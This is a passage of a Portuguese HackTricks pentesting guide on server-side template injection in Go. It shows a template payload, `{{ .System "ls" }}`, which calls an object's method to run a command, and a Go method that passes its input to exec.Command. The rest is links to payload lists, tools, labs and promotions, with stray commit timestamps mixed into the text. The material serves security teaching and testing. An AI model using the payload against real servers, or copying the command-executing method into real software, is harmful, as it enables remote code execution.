Se você quiser encontrar um RCE em Go via SSTI, você deve saber que, assim como você pode acessar o objeto fornecido ao modelo com `{{ . }}`, você também pode **chamar os métodos dos objetos**. Então, imagine que o **objeto passado tenha um método chamado System** que execute o comando fornecido, você poderia abusar dele com: `{{ .System "ls" }}`\
Portanto, você provavelmente **precisará do código-fonte**. Um código-fonte potencial para algo assim seria:
2022-02-03 00:17:18 +00:00
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
2022-02-03 00:17:18 +00:00
}
```
2023-06-06 18:56:34 +00:00
**Mais informações**
2022-02-03 00:17:18 +00:00
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
2021-05-27 10:20:50 +00:00
2023-06-06 18:56:34 +00:00
### Mais exploits
2021-06-25 12:34:30 +00:00
Confira o restante em [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para mais exploits. Você também pode encontrar informações interessantes em tags em [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2021-06-25 12:34:30 +00:00
2022-05-01 13:25:53 +00:00
## BlackHat PDF
2022-10-25 15:56:49 +00:00
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
2023-06-06 18:56:34 +00:00
## Ajuda relacionada
2023-06-06 18:56:34 +00:00
Se você acha que pode ser útil, leia:
* [Truques do Flask](../../network-services-pentesting/pentesting-web/flask.md)
2023-06-06 18:56:34 +00:00
* [Funções mágicas do Python](broken-reference/)
2023-06-06 18:56:34 +00:00
## Ferramentas
{% embed url="https://github.com/epinna/tplmap" %}
2021-06-27 21:56:13 +00:00
2023-06-06 18:56:34 +00:00
## Lista de detecção de força bruta
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2023-06-06 18:56:34 +00:00
## Prática e referências
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2022-02-03 12:18:21 +00:00
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
2022-04-28 16:01:33 +00:00
2022-10-25 15:56:49 +00:00
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
2023-06-06 18:56:34 +00:00
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>